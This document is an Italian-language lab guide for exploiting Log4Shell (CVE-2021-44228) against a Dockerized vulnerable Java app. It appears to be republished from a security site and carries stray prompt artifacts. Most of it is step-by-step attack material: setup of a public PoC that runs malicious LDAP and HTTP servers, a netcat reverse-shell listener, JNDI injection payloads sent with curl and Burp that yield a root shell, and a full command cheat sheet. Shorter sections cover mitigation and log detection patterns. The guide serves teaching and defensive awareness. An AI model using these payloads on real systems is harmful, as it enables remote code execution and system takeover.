Sfruttare Log4Shell (CVE-2021-44228): Un Laboratorio Dimostrativo Completo e Moderno

Log4Shell (CVE-2021-44228) è una delle vulnerabilità di esecuzione di codice remoto a più alto impatto mai divulgate. Colpisce Apache Log4j 2, un framework di logging Java ampiamente utilizzato, e consente agli attaccanti di eseguire codice arbitrario abusando dei lookup JNDI nei messaggi di log.

Questa guida fornisce un laboratorio dimostrativo completo e riproducibile che utilizza:

• Kali Linux (attaccante)
• Un'applicazione vulnerabile Log4j2 Dockerizzata
• Il PoC pubblico log4j-shell-poc
• curl, Burp Suite e Netcat

È progettata per scopi didattici, di ricerca, formazione e consapevolezza difensiva esclusivamente in ambienti controllati. La struttura e lo stile seguono lo stesso spirito del laboratorio "Shellshock" associato.

📌 Indice dei contenuti

0. Nota legale ed etica
1. Panoramica di alto livello
2. Obiettivi di apprendimento
3. Architettura del laboratorio
4. Prerequisiti
5. Installare JDK 1.8.0_202 su Kali
6. Distribuire l'applicazione vulnerabile Log4j (Docker)
7. Preparare il PoC dell'exploit
8. Configurare poc.py per usare JDK 1.8.0_202
9. Avviare i servizi dell'exploit (LDAP + HTTP + Payload)
10. Avviare il listener della reverse shell
11. Sfruttare Log4Shell tramite curl
12. Sfruttare Log4Shell tramite Burp Suite
13. Diagramma della catena di attacco
14. Contromisure e difesa
15. Cheat Sheet (Tutti i comandi)
16. Galleria di screenshot
17. Riferimenti
18. Crediti

0. Nota legale ed etica

Questo laboratorio deve essere eseguito esclusivamente in un ambiente controllato in cui si dispone di autorizzazione esplicita (proprio laboratorio, VM di classe, ecc.).

• Non attaccare sistemi in produzione.
• Non eseguire questo materiale contro host che non possiedi o non amministri.
• Utilizza questo materiale esclusivamente per istruzione, ricerca e difesa.

1. Panoramica di alto livello

Log4Shell (CVE-2021-44228) è una vulnerabilità critica di RCE in Apache Log4j 2.

Il problema nasce perché le versioni vulnerabili di Log4j2 interpretano stringhe controllate dall'attaccante come:

${jndi:ldap://ATTACKER_IP:1389/a}

Quando questa stringa viene registrata nei log, Log4j:

1. Esegue un lookup JNDI (ad es. tramite LDAP) verso un server controllato dall'attaccante.
2. Riceve un riferimento a una classe Java dannosa.
3. Scarica la classe su HTTP e la carica nella JVM.
4. La esegue, ottenendo esecuzione di codice remoto.

In questo laboratorio, dovrai:

• Eseguire un'applicazione web Log4j2 vulnerabile all'interno di un contenitore Docker.
• Eseguire un server LDAP + HTTP dannoso su Kali usando log4j-shell-poc.
• Consegnare il payload Log4Shell tramite curl e tramite Burp Suite.
• Ottenere una reverse shell dal contenitore vulnerabile.

2. Obiettivi di apprendimento

Al termine di questo laboratorio, dovresti essere in grado di:

1. Spiegare a livello generale come funziona Log4Shell e perché JNDI è pericoloso quando viene usato in modo improprio.
2. Distribuire un'applicazione Log4j2 vulnerabile usando Docker.
3. Installare e configurare JDK 1.8.0_202, richiesto dal PoC.
4. Eseguire un server LDAP dannoso e un server HTTP tramite lo script PoC.
5. Attivare la vulnerabilità e ottenere una reverse shell.
6. Usare Burp Suite per iniettare l'exploit in un header HTTP.
7. Discutere mitigazioni realistiche e strategie di rilevamento.

3. Architettura del laboratorio

Tutti i componenti girano sopra il tuo laboratorio virtuale esistente. Per questa documentazione assumiamo:

• La VM Kali Linux è l'attaccante.
• Kali esegue anche il contenitore Docker con l'applicazione vulnerabile.

Idea chiave

L'attaccante inietta:

${jndi:ldap://192.168.1.4:1389/a}

in un header HTTP. L'app vulnerabile lo registra usando Log4j2 → esegue un lookup JNDI LDAP verso 192.168.1.4:1389 → scarica una classe dannosa da http://192.168.1.4:8000 → esegue la classe, che apre una reverse shell verso 192.168.1.4:9001.

4. Prerequisiti

Su Kali ti serve:

• Docker (installato e funzionante).
• Python 3 (predefinito su Kali).
• Netcat (nc).
• Burp Suite (va bene anche la Community Edition).
• Accesso a Internet per i download iniziali.
• Dimestichezza di base con Linux e HTTP.

In tutta questa guida assumiamo che l'IP di Kali sia:

192.168.1.4

Se il tuo IP è diverso, adatta tutti i comandi di conseguenza.

5. Installare JDK 1.8.0_202 su Kali (Obbligatorio)

Il PoC si basa su Java SE 8 Update 202 (JDK 1.8.0_202) perché le versioni successive di Java limitano il caricamento remoto delle classi usato da questo exploit.

Anche se Kali ha già OpenJDK 21 (o simile), devi comunque installare 8u202 separatamente.

5.1 Creare una directory di lavoro

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 Scaricare JDK 8u202 dal mirror HuaweiCloud

Root del mirror:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Scarica l'archivio tar per Linux x64 (≈185 MB):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # dovrebbe essere ~185M

5.3 Estrarre in /usr/bin/jdk1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

L'opzione --strip-components=1 rimuove la directory di primo livello dall'archivio, così i file finiscono direttamente in /usr/bin/jdk1.8.0_202.

5.4 Verificare l'installazione

/usr/bin/jdk1.8.0_202/bin/java -version

Output atteso:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

Se vedi questo, JDK 1.8.0_202 è installato correttamente.

6. Distribuire l'applicazione vulnerabile Log4j (Docker su Kali)

In un nuovo terminale su Kali (puoi rimanere in ~/Log4Shell):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

Dovresti vedere log simili a:

:: Spring Boot ::  (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...

• L'app è ora raggiungibile su http://127.0.0.1:8080/ da Kali.
• Lascia questo terminale in esecuzione. Questo è il tuo target.

Verifica rapida di sanità:

curl http://127.0.0.1:8080/

Potresti vedere una Whitelabel Error Page (HTTP 400). Va bene così: tutto ciò che ci serve è che l'app sia in esecuzione e registri le richieste.

7. Preparare il PoC dell'exploit su Kali

7.1 Clonare log4j-shell-poc

In un nuovo terminale:

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

Conferma i file:

ls
# poc.py, target/, README, ecc. Exploit.java verrà generato in seguito.

8. Configurare poc.py per usare JDK 1.8.0_202

Di default, poc.py si aspetta di trovare un JDK locale in una directory chiamata jdk1.8.0_20 dentro il repository. Invece, hai installato JDK 8u202 in /usr/bin/jdk1.8.0_202, quindi devi aggiornare lo script.

8.1 Aprire poc.py in un editor

nano poc.py

8.2 Identificare le righe originali con i percorsi Java

Cerca jdk1.8.0_20 (in nano: Ctrl+W, digita jdk1.8.0_20, premi Invio).

Dovresti trovare tre occorrenze come:

subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])

exit_code = subprocess.call([
    os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

8.3 Sostituire con percorsi assoluti verso JDK 8u202

Sostituiscile con:

subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])

exit_code = subprocess.call([
    "/usr/bin/jdk1.8.0_202/bin/java",
    '-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)

subprocess.run([
    "/usr/bin/jdk1.8.0_202/bin/java",
    "-cp",
    os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
    "marshalsec.jndi.LDAPRefServer",
    url,
])

Salva ed esci:

• Ctrl + O → Invio
• Ctrl + X

Il PoC ora usa JDK 1.8.0_202 da /usr/bin.

9. Avviare i servizi dell'exploit (LDAP + HTTP + Generatore di Payload)

Da ~/Log4Shell/log4j-shell-poc:

9.1 Eseguire lo script PoC

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

Parametri:

• --userip – l'IP di Kali (attaccante): ad es. 192.168.1.4.
• --webport – porta per il server HTTP incorporato: 8000.
• --lport – porta a cui il payload si riconnette: 9001.

Se tutto è configurato correttamente, dovresti vedere qualcosa come:

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389

Importante:

• Il server LDAP è in ascolto sulla porta 1389.

• Il server HTTP è in ascolto sulla porta 8000.

• Il payload esatto da iniettare viene stampato:

  root@kitploit:~

  ${jndi:ldap://192.168.1.4:1389/a}
  

Lascia questo terminale in esecuzione.

10. Avviare il listener della reverse shell (Netcat)

Apri un altro nuovo terminale su Kali:

nc -nvlp 9001

Dovresti vedere:

listening on [any] 9001 ...

Questo listener riceverà la reverse shell dall'applicazione vulnerabile.

A questo punto dovresti avere:

1. Il contenitore Docker con l'app vulnerabile in esecuzione (porta 8080).
2. poc.py in esecuzione con LDAP (1389) e HTTP (8000).
3. Netcat in ascolto sulla porta 9001.

11. Sfruttare Log4Shell tramite curl

Per prima cosa, dimostra che l'exploit funziona usando una richiesta HTTP grezza.

In un nuovo terminale (o riutilizzane uno se disponibile):

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

Cosa succede:

1. L'app vulnerabile riceve la richiesta e registra l'header X-Api-Version.
2. Log4j2 vede ${jndi:ldap://192.168.1.4:1389/a} ed esegue un lookup JNDI LDAP.
3. Il tuo server LDAP (dentro poc.py) risponde con un riferimento a una classe Java dannosa ospitata sul tuo server HTTP.
4. L'app scarica ed esegue la classe.
5. La classe si riconnette a 192.168.1.4:9001 e avvia una shell.

In caso di successo, il tuo terminale Netcat mostra:

connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...

Ora hai una shell di root dentro il contenitore Docker.

Prova con:

id
hostname
ls /

Esci con:

exit

Netcat tornerà in ascolto.

12. Sfruttare Log4Shell tramite Burp Suite (in stile browser)

Ora dimostra lo stesso percorso di exploit usando un browser mediato da Burp Suite.

12.1 Configurare Firefox per usare Burp come proxy

1. Avvia Burp Suite su Kali.

2. In Burp, assicurati che il listener Proxy sia in ascolto su 127.0.0.1:8080.

3. In Firefox:

   • Impostazioni → Network Settings → Manual proxy configuration.
   • HTTP Proxy: 127.0.0.1, Porta: 8080.
   • Spunta "Use this proxy for HTTPS as well".
   • Assicurati che non ci siano esclusioni per 127.0.0.1.

12.2 Catturare una richiesta iniziale

1. In Burp → Proxy → Intercept, assicurati che Intercept sia ON.

2. In Firefox, vai a:

   root@kitploit:~

   http://127.0.0.1:8080/
   

3. Burp mostrerà la richiesta intercettata, ad es.:

   root@kitploit:~

   GET / HTTP/1.1
   Host: 127.0.0.1:8080
   User-Agent: Mozilla/5.0 ...
   ...
   

12.3 Inviare la richiesta a Repeater

1. Nella scheda Proxy → Intercept, fai clic con il tasto destro sulla richiesta.
2. Seleziona Send to Repeater.
3. Passa alla scheda Repeater.

12.4 Iniettare il payload Log4Shell in un header HTTP

In Repeater, modifica la richiesta per includere un header X-Api-Version:

GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Note:

• Sostituisci 192.168.1.4 con il tuo IP effettivo di Kali se diverso.
• Non codificare in URL i caratteri ${} – devono apparire esattamente come mostrato.
• Connection: close mantiene le cose semplici (opzionale).

12.5 Inviare la richiesta dannosa

1. Conferma che poc.py e il listener Netcat siano ancora in esecuzione.
2. Fai clic su Send in Burp Repeater.

Potresti vedere di nuovo una 400 Whitelabel Error Page: va bene.

Controlla il terminale Netcat:

listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...

Hai di nuovo ottenuto una shell di root sul contenitore, questa volta usando una richiesta HTTP modificata con Burp, che rispecchia un flusso realistico di sfruttamento web.

13. Come funziona la catena dell'attacco (riassunto tecnico)

1. L'attaccante crea il payload JNDI:

   root@kitploit:~

   ${jndi:ldap://192.168.1.4:1389/a}
   

2. L'applicazione vulnerabile registra questa stringa usando Log4j2.

3. Log4j2 interpreta ${jndi:...} ed esegue un lookup JNDI.

4. Il lookup usa LDAP per contattare il server LDAP dell'attaccante su 192.168.1.4:1389.

5. Il server LDAP (marshalsec) risponde con un javaNamingReference che punta a una classe controllata dall'attaccante ospitata su HTTP, ad es.:

   root@kitploit:~

   http://192.168.1.4:8000/Exploit.class
   

6. La JVM vittima scarica e carica questa classe.

7. Il costruttore della classe apre un socket verso 192.168.1.4:9001 e collega /bin/sh ad esso.

8. Il listener Netcat dell'attaccante riceve la connessione in arrivo e ottiene una shell root remota dentro il contenitore.

14. Mitigazione e difesa

Negli ambienti reali, dovrebbero essere applicati più livelli difensivi.

14.1 Aggiornare Log4j2

• Aggiorna a 2.17.1 o successiva (o alla versione sicura consigliata dal vendor).
• Queste versioni disabilitano o limitano fortemente i lookup JNDI per impostazione predefinita.

14.2 Disabilitare JNDI / lookup nei messaggi

Per i deployment ancora vulnerabili, aggiungi:

-Dlog4j2.formatMsgNoLookups=true

(Dove applicabile – nota che non tutte le configurazioni vulnerabili vengono corrette solo con questo flag.)

14.3 Rimuovere JndiLookup dai JAR di log4j-core

Come misura di difesa in profondità:

zip -q -d log4j-core-*.jar \
  org/apache/logging/log4j/core/lookup/JndiLookup.class

14.4 Rafforzare l'accesso di rete in uscita

• Limita LDAP, RMI e HTTP arbitrario in uscita dai server applicativi.
• Il filtraggio in uscita e politiche firewall rigorose possono impedire ai server di raggiungere infrastrutture controllate dall'attaccante.

14.5 Rilevamento e monitoraggio

• Cerca nei log pattern sospetti come ${jndi: o ${${lower:j}${upper:ndi}:.
• Monitora connessioni LDAP/RMI in uscita insolite dai server.
• Distribuisci regole IDS/IPS/SIEM per gli indicatori di Log4Shell e il traffico PoC.

15. Cheat Sheet dei comandi

Una panoramica condensata dei comandi usati in questo laboratorio.

15.1 Directory di lavoro

mkdir -p ~/Log4Shell
cd ~/Log4Shell

15.2 Scaricare JDK 8u202 (≈185 MB)

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz

15.3 Installare JDK 1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

/usr/bin/jdk1.8.0_202/bin/java -version

15.4 Eseguire l'applicazione Docker vulnerabile

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

15.5 Clonare il repository del PoC

cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

15.6 Aggiornare i percorsi Java in poc.py (riassunto)

Sostituisci:

os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java")  # due usi

Con:

"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"

15.7 Avviare il PoC (LDAP + HTTP + payload)

python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001

15.8 Listener Netcat per la reverse shell

nc -nvlp 9001

15.9 Exploit tramite curl

curl http://127.0.0.1:8080 \
  -H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'

15.10 Stringa payload per gli header

${jndi:ldap://192.168.1.4:1389/a}

15.11 Header per Burp Repeater

X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}

16. Galleria di screenshot

17. Riferimenti

• PoC originale: kozmer/log4j-shell-poc
• Applicazione demo vulnerabile: christophetd/log4shell-vulnerable-app
• Apache Log4j Security Vulnerabilities: https://logging.apache.org/log4j/2.x/security.html
• Voce NIST NVD per CVE-2021-44228: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

18. Crediti